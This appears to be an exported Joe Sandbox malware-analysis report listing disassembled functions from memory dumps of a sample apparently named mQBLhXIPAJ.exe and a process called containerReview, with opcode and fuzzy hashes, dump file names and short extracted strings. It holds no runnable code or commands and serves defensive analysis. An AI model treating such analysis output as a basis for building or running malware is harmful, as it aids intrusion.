API String ID:
Opcode ID: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction ID: 5b81689088e1651b8ea27da21b17f62667958134c266d0842065b5076d6c5dd7
Opcode Fuzzy Hash: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction Fuzzy Hash: 4C015A7190D7889FE706EB78C844699BFB0EF42314F1945EAD044EB2A2D6386A48C795

Function 00007FF84926B3F2 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97816b313ba50a562e5a9d15e9082400c9cff46235fef3bcec67b2a7f261e4f8
Instruction ID: bc5224ac6a6284dfe6d4b7461d3518c4a468596d480c209071a2cd604ac23d9d
Opcode Fuzzy Hash: 97816b313ba50a562e5a9d15e9082400c9cff46235fef3bcec67b2a7f261e4f8
Instruction Fuzzy Hash: A2F0963284E2C59FE3169F7088655E53FB4FF43255F1800FAD455C74A3CA6D590AC761

Function 00007FF849266532 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ff11889799cef6a3271e8a30a852e5c91d7840aa03a856074412f0e6f37a748
Instruction ID: 95836a3da992843b1cf6774157494c34e82d4f70a7324d5c37854857feea665c
Opcode Fuzzy Hash: 7ff11889799cef6a3271e8a30a852e5c91d7840aa03a856074412f0e6f37a748
Instruction Fuzzy Hash: 45F0C23284E2C59FE722EF7088164E53FB4FF42345F1400FAE095C60A2CA2C5B06C761

Function 00007FF848E6566A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction ID: d9e9e5e114ba3435dc3cd7457d5a57069b717a1a9f1459f116fc6fd3c0df7d05
Opcode Fuzzy Hash: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction Fuzzy Hash: 63F0313090C91E8EEB64FA14DC486B873A2FF64351F9001B9D44EF7192EF387D958A08

Function 00007FF848E61A46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a352c191027afef22415962ad2d68cd243e17152e817e8fbc47eab804aa2de2
Instruction ID: 6a084f2402dd74d8b05eb73b6f6ba78d64d53538e1b8098d9d6ec9538b3b6ca6
Opcode Fuzzy Hash: 2a352c191027afef22415962ad2d68cd243e17152e817e8fbc47eab804aa2de2
Instruction Fuzzy Hash: 3C011231908918CFCB58DB18D894E9973F1FB58310F040299D40DE72A1CB35AE80CF85

Function 00007FF8492660D7 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 625b38b502b027ccfc70226efd146ae38f03aad0719e3da98e49b03052c5a8cf
Instruction ID: f20ed47a74ec564a557ead6235841dc8b773ba82f16ad897418a529a820cd76c
Opcode Fuzzy Hash: 625b38b502b027ccfc70226efd146ae38f03aad0719e3da98e49b03052c5a8cf
Instruction Fuzzy Hash: 0301FB7090895DDFDB68EF18C490AA8BBB1FB58340F1401A9D00EE3291CA306D40CB40

Function 00007FF849261502 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 303f0a92aceb33740aa03f80d9247f20478d8814da78d2b5fc3a09bc33433eae
Instruction ID: 740468fbcc587564cff68635910e6293033d54dfa4d5834ec923c28abfc2b09b
Opcode Fuzzy Hash: 303f0a92aceb33740aa03f80d9247f20478d8814da78d2b5fc3a09bc33433eae
Instruction Fuzzy Hash: E8F0623184E2C59FE712EF7088529957FA4AF43341F1800F6E056970A3C56D2A0AC761

Function 00007FF848E60C50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction ID: 1d494a934a9f4f92c3d2dbaecd3e8bb8dcd43c5ac94dc5e43bfe9a6d2a606513
Opcode Fuzzy Hash: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction Fuzzy Hash: 40014B7090D7C99FE706FB74884469DBFF0EF06314F1845E6D444EB292DA386A48C745

Function 00007FF848E60B77 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction ID: 0463724105c59fff87dbdcdee3fb92fd12cc528830111bc805b7b8e71b0cb601
Opcode Fuzzy Hash: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction Fuzzy Hash: 9AF0553020DA89CFC742AB3DC8A08D0BF60FF43204B8A00FAC088CB462C3245C5ECB00

Function 00007FF848E6563C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction ID: 44e6ecc7956d6d1cc20c6e6cfc4d34b3b502825c445b06d011b98d177ef14cdb
Opcode Fuzzy Hash: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction Fuzzy Hash: 5BF03030A0C9198EEA64F604DC486B87392FF64390F9011BAD84EF71A3EF387D858648

Function 00007FF849267D08 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140076246536fdc6ef4d3c713600b7f582fbe191645fa32ce6a946eb0ee202c1
Instruction ID: 5728b9638ad4a0a0ea54ac58705eb354cd7c547d47fecdad210220811c95567a
Opcode Fuzzy Hash: 140076246536fdc6ef4d3c713600b7f582fbe191645fa32ce6a946eb0ee202c1
Instruction Fuzzy Hash: 0AF0EC2090D69B8EFB387E24B4013B82248AFA0392F30083AC43E82DC1CE2D3C024292

Function 00007FF84926CBE8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed3df3af7dc8f435a30e70e378b87b4b2f91417a05e8b0bd9acdd30b2e296d3b
Instruction ID: fdaa7367879707be7448ae0d08919adaa9abcef934abf08e7eed060bf9d0c7f3
Opcode Fuzzy Hash: ed3df3af7dc8f435a30e70e378b87b4b2f91417a05e8b0bd9acdd30b2e296d3b
Instruction Fuzzy Hash: 66F08C21A0D8DB8EFB34BE14A4112BD2650AF513D2F20403BCA7E86DC1CE2A7C125292

Function 00007FF848E633D1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction ID: cadf967c029e486b9d6c9b0734e6fc60d261c9c85d6428012597e678f49e7799
Opcode Fuzzy Hash: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction Fuzzy Hash: 0FE01A20F0D12A8FF795BA10C8503BD22A1BF85381F9450B9D86DB76E6CF387C818B49

Function 00007FF848E63759 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction ID: 8576958cd4ac830fef12b803800038b9b0a2429590f4631019fefa52e676df46
Opcode Fuzzy Hash: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction Fuzzy Hash: 0BE01211E1C5554EF29DB56C44313B950C1BF98751F884179D41EF32C3DE5C3C400396

Function 00007FF8492621F7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 580301fb387f32a439fb4279307b0e845a8506ad573c0b3d19e194819dd02c89
Instruction ID: 7b00656694439cded6fd9c44f86d9ca5b6e9ef4d4fd1ed5b4b9657495932fd28
Opcode Fuzzy Hash: 580301fb387f32a439fb4279307b0e845a8506ad573c0b3d19e194819dd02c89
Instruction Fuzzy Hash: AED05B51D0D7E55FF73B297418A10741F909F2B3C1B1905B6D526DA1C3DA583D055722

Function 00007FF848E606AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction ID: 22c00e277981450ec3cfd80455c7aa1b3eb6fa9d4df6ebc78a5e847680a4518f
Opcode Fuzzy Hash: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction Fuzzy Hash: D6C08C00E5F53B08E445712E14020ACA2017BC42A0FD00032C02C700929EAD30C5034E

Function 00007FF848E60B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction ID: efbce210bacd50ef177f3dfb13d4aceba7f181afd6019f63510de32bdeb12342
Opcode Fuzzy Hash: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction Fuzzy Hash: 39C04C305258098FC944FB6DC98995477A0FB1D215BD60190E40DC7171E66AEC95C745

Function 00007FF848E612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction ID: 66eda309ea09482d7201f089046b183db6eb6a68ed1dc125f00a417f2063d7f1
Opcode Fuzzy Hash: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction Fuzzy Hash: E0C08C309208088FC908FB28C88480433A0FB09200BC10090E008C7170E229ECD0C740

Function 00007FF849262CDB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac4479dc4ecda53c7ef179598888d22d19020913b4f5b8224d51f26ee595786
Instruction ID: faf2a8b2c7b0cb431fb13c88a90f06b6b3d8d16cf5c4d5d76b0deaf58a1c0522
Opcode Fuzzy Hash: 1ac4479dc4ecda53c7ef179598888d22d19020913b4f5b8224d51f26ee595786
Instruction Fuzzy Hash: 61D0C910A0C5E38DF278BE01456063961A16F40382F25443EC4BFC1CC1CE2C7C017201

Function 00007FF848E657D9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993a3528e8c5dabdde6f6379481d05b373b01aa1ad808d833a79762d365a6a6a
Instruction ID: 49a0ccb6b9210ea88df926a0a98b632c6ebc9580688ca6d1135564de5a337981
Opcode Fuzzy Hash: 993a3528e8c5dabdde6f6379481d05b373b01aa1ad808d833a79762d365a6a6a
Instruction Fuzzy Hash: 1EC08C02E0DC165AE25A6214402027E04129F80B44F844031E01EC22CACF0D2B0102CA

Function 00007FF84926C0FF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69fa4278d479ece754e505f5c5d0ae7e5a2276a16017c83414430a0cc881e251
Instruction ID: 2a5b94458eb68a15a11c441c4e0b8155f0cf64b13da45482909736418d698bb7
Opcode Fuzzy Hash: 69fa4278d479ece754e505f5c5d0ae7e5a2276a16017c83414430a0cc881e251
Instruction Fuzzy Hash: 43C04C40E0D2929EFA31B660049607D16411B162C5B550579D22646AD3DC5C6C055225

Function 00007FF848E606D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2240764972.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction ID: 11f8d10550346e9f3a4f007398059a370a93a6d624c90b1792530cf415cde2e8
Opcode Fuzzy Hash: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction Fuzzy Hash: E5B01200CAE41F04E408317A094206470417BC4140FC00070D40C70086D9DD3094034A

Function 00007FF849267241 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2244233635.00007FF849260000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff849260000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1396a6a5799ec9228f2375124eea1be95ad0cf95695e436ed63ce9a65db8d41b
Instruction ID: 601f3f6fb88693863eb329da7f87d43cfc217207691c6cad23e2d861ca8c6dd1
Opcode Fuzzy Hash: 1396a6a5799ec9228f2375124eea1be95ad0cf95695e436ed63ce9a65db8d41b
Instruction Fuzzy Hash: 69B01200F0C3639FF33034B0385413C00541BC53CAF200530E22B455C7DD5C3C002291

Analysis Process: mQBLhXIPAJ.exePID: 2172, Parent PID: 1068COMMON

Executed Functions

Function 00007FF848E80D7C Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2306690568.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e80000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f42eff1c7d19455174e025411fc8e141ab47032cf6d725b0cd758e592c78bd72
Instruction ID: db1ed0984dc85e3f1435c4c1f8a9ef3fe1b4abf088a225ddd33ed3d9e69d6a5c
Opcode Fuzzy Hash: f42eff1c7d19455174e025411fc8e141ab47032cf6d725b0cd758e592c78bd72
Instruction Fuzzy Hash: 4F91D071D1CA9D8FE789EB2888293AABFE1FB9A310F4401BAC049D72D2DF791405C710

Function 00007FF849288828 Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

x9%I, xrefs: 00007FF8492888BD
, xrefs: 00007FF8492888A2
x9%I, xrefs: 00007FF849288829
MH, xrefs: 00007FF8492889D7

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: $ MH$x9%I$x9%I
API String ID: 0-1840334849
Opcode ID: 874f36af8bf5d592e7f2935774aaf37a7b4224b9ef7e01075e0c5a4c44f7e00c
Instruction ID: ad632eee1887c2b3248810949cbb1c80fb795a615d8eba717953f400c5d8a7fe
Opcode Fuzzy Hash: 874f36af8bf5d592e7f2935774aaf37a7b4224b9ef7e01075e0c5a4c44f7e00c
Instruction Fuzzy Hash: 86515930D0C59E9FEB59EFA8C8505BDB7B1FF44380F1545BAC02AE7286DA386902CB51

Function 00007FF849289AE1 Relevance: 4.2, Strings: 3, Instructions: 403COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849289C77
GzC, xrefs: 00007FF849289C16
(MH, xrefs: 00007FF849289E74

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: (MH$GzC$GzC
API String ID: 0-3276134968
Opcode ID: 45eca46f2bf616a26933b720a21fc9f17dd7bbaeee2b3b501c127b9ef2542a2b
Instruction ID: a434df7cee58ac654f795309c29bf1b99a44dcc3fd40aaf0be5c27fb95effb5f
Opcode Fuzzy Hash: 45eca46f2bf616a26933b720a21fc9f17dd7bbaeee2b3b501c127b9ef2542a2b
Instruction Fuzzy Hash: 66D10534A0DBA68FF378EF18D4945757BE1FF44340B25467EC4AAC3A82DB29B8428741

Function 00007FF849287886 Relevance: 4.0, Strings: 3, Instructions: 263COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849287A52
GzC, xrefs: 00007FF849287A9E
GzC, xrefs: 00007FF8492879DB

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC$GzC
API String ID: 0-1231227787
Opcode ID: 53121fe4eb57920fd5d81946a03a8fdf2a8565a7d5de91203f9ca6368b77edbe
Instruction ID: d5bfd14a30b70a9d251a1dd5497602e70d70690ae8b10b887b7018c265ef5063
Opcode Fuzzy Hash: 53121fe4eb57920fd5d81946a03a8fdf2a8565a7d5de91203f9ca6368b77edbe
Instruction Fuzzy Hash: 8881783091CA965FF778EE29944117977E9EFC5390F29067ED0AFC3182DE28B8028752

Function 00007FF849282856 Relevance: 4.0, Strings: 3, Instructions: 261COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849282A6D
GzC, xrefs: 00007FF8492829AB
GzC, xrefs: 00007FF849282A21

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC$GzC
API String ID: 0-1231227787
Opcode ID: fc833ef4f224f46662c7ea7fb28bb85700805870be39da4ef1c3168adf80e66d
Instruction ID: fed930e6c9b9ea05c0b47c884531b6899695dae96a8fc6917c796393174d4263
Opcode Fuzzy Hash: fc833ef4f224f46662c7ea7fb28bb85700805870be39da4ef1c3168adf80e66d
Instruction Fuzzy Hash: 3081023190CA968FF778EE28945517977E1EF853D1F26067ED49FC3282DE28B8028752

Function 00007FF84928C766 Relevance: 4.0, Strings: 3, Instructions: 258COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF84928C937
GzC, xrefs: 00007FF84928C8CB
GzC, xrefs: 00007FF84928C983

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC$GzC
API String ID: 0-1231227787
Opcode ID: 6b57485a3fcced7166a40b3d976fdac80551688cd4e786161611826e170c144a
Instruction ID: cd8d012566b5dc5ce90a1d39f5873b7e161c9c879f7ac58b17fd85dab50dcfad
Opcode Fuzzy Hash: 6b57485a3fcced7166a40b3d976fdac80551688cd4e786161611826e170c144a
Instruction Fuzzy Hash: 6881F53191CAA68FF779EE18944117577E1EF46390F160A7FD49EC3182DB28B40A8792

Function 00007FF848E80B3F Relevance: 3.8, Strings: 3, Instructions: 54COMMON

Download Yara Rule

Strings

!k9, xrefs: 00007FF848E80B4E
"s9, xrefs: 00007FF848E80B46
c9, xrefs: 00007FF848E80B56

Memory Dump Source

Source File: 00000013.00000002.2306690568.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff848e80000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9
API String ID: 0-3426396564
Opcode ID: e6bf74b1d6689e4a83ae90d40d4e0ea91c878e62ba1a472b45461e1a83e8e15a
Instruction ID: c75d19dd1440bff90666b6e73c3834fbe9e2ef524e49a33454ae36c10d1c5faa
Opcode Fuzzy Hash: e6bf74b1d6689e4a83ae90d40d4e0ea91c878e62ba1a472b45461e1a83e8e15a
Instruction Fuzzy Hash: 4F01A22671E95E8FC7426A3DB8904E8BB50EA87136B9903FBD444C7192E611585EC790

Function 00007FF849284AB1 Relevance: 2.9, Strings: 2, Instructions: 407COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849284C47
GzC, xrefs: 00007FF849284BE6

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC
API String ID: 0-2983628525
Opcode ID: 578293ffb5c0ce5212c083a8bec1b9250904424ed7f918ba766139afd65105c8
Instruction ID: 59a9b1fd54cf6cf99f5bddec598c59f45a8bde6d2ea9c8153d86815434110955
Opcode Fuzzy Hash: 578293ffb5c0ce5212c083a8bec1b9250904424ed7f918ba766139afd65105c8
Instruction Fuzzy Hash: 04D1C230A0DF968FF378EF28D494575B7E1FF44344B25467EC4AAC7A82DA29B8428741

Function 00007FF84929B85E Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF84929BB4C
GzC, xrefs: 00007FF84929B8A8

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC
API String ID: 0-2983628525
Opcode ID: 3d319c858af3d06e36be77694febc9d0422d054949e18cab56a9d2d5d1c2fba5
Instruction ID: 4ee64951c5f564156d9a15664e4a378d82e973e060823ae895ede71934b6adff
Opcode Fuzzy Hash: 3d319c858af3d06e36be77694febc9d0422d054949e18cab56a9d2d5d1c2fba5
Instruction Fuzzy Hash: 9DA1A130A1CA8D8FEBA8EF28D8557F937D1FB58350F14422EE85DC7291CB3499458B82

Function 00007FF84928337A Relevance: 2.8, Strings: 2, Instructions: 297COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849283548
GzC, xrefs: 00007FF8492835D1

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC
API String ID: 0-2983628525
Opcode ID: b5699c21159aa5a487d6367da5e61ebaf70fd15f10ac39812a6f5de6c0024ffb
Instruction ID: c6f0842ab0929d8a0958cdbb934ecd071035a185f6f0b658e000e5b00be88e67
Opcode Fuzzy Hash: b5699c21159aa5a487d6367da5e61ebaf70fd15f10ac39812a6f5de6c0024ffb
Instruction Fuzzy Hash: C6B1F37091CA968FE759EF28C0906B5B7E1FF09340F5552B9C05EC7A86CB28F851C791

Function 00007FF849285A12 Relevance: 2.7, Strings: 2, Instructions: 210COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849285B5D
@%%I, xrefs: 00007FF849285B03

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: @%%I$GzC
API String ID: 0-3686185777
Opcode ID: 253f48eee43be701c709378acddafc023d81279a3ad7234818bc8e8a1cbf1bd4
Instruction ID: d7597e71b5bb5260f0489a5b463f795138aad2621a6c329440a9b234d0a0b0a5
Opcode Fuzzy Hash: 253f48eee43be701c709378acddafc023d81279a3ad7234818bc8e8a1cbf1bd4
Instruction Fuzzy Hash: 5151077190C89B4FF778FE1888969B937C5FF64361B1603F9D0AEC3596DE18A8068741

Function 00007FF8492884AE Relevance: 2.7, Strings: 2, Instructions: 206COMMON

Download Yara Rule

Strings

GzC, xrefs: 00007FF849288578
GzC, xrefs: 00007FF849288601

Memory Dump Source

Source File: 00000013.00000002.2314364894.00007FF849280000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff849280000_mQBLhXIPAJ.jbxd

Similarity

API ID:
String ID: GzC$GzC
API String ID: 0-2983628525
Opcode ID: 0694fb976c1ebaa439470b1418e33d5a2c92eb69b7990a0fcaaeb18dc97860be
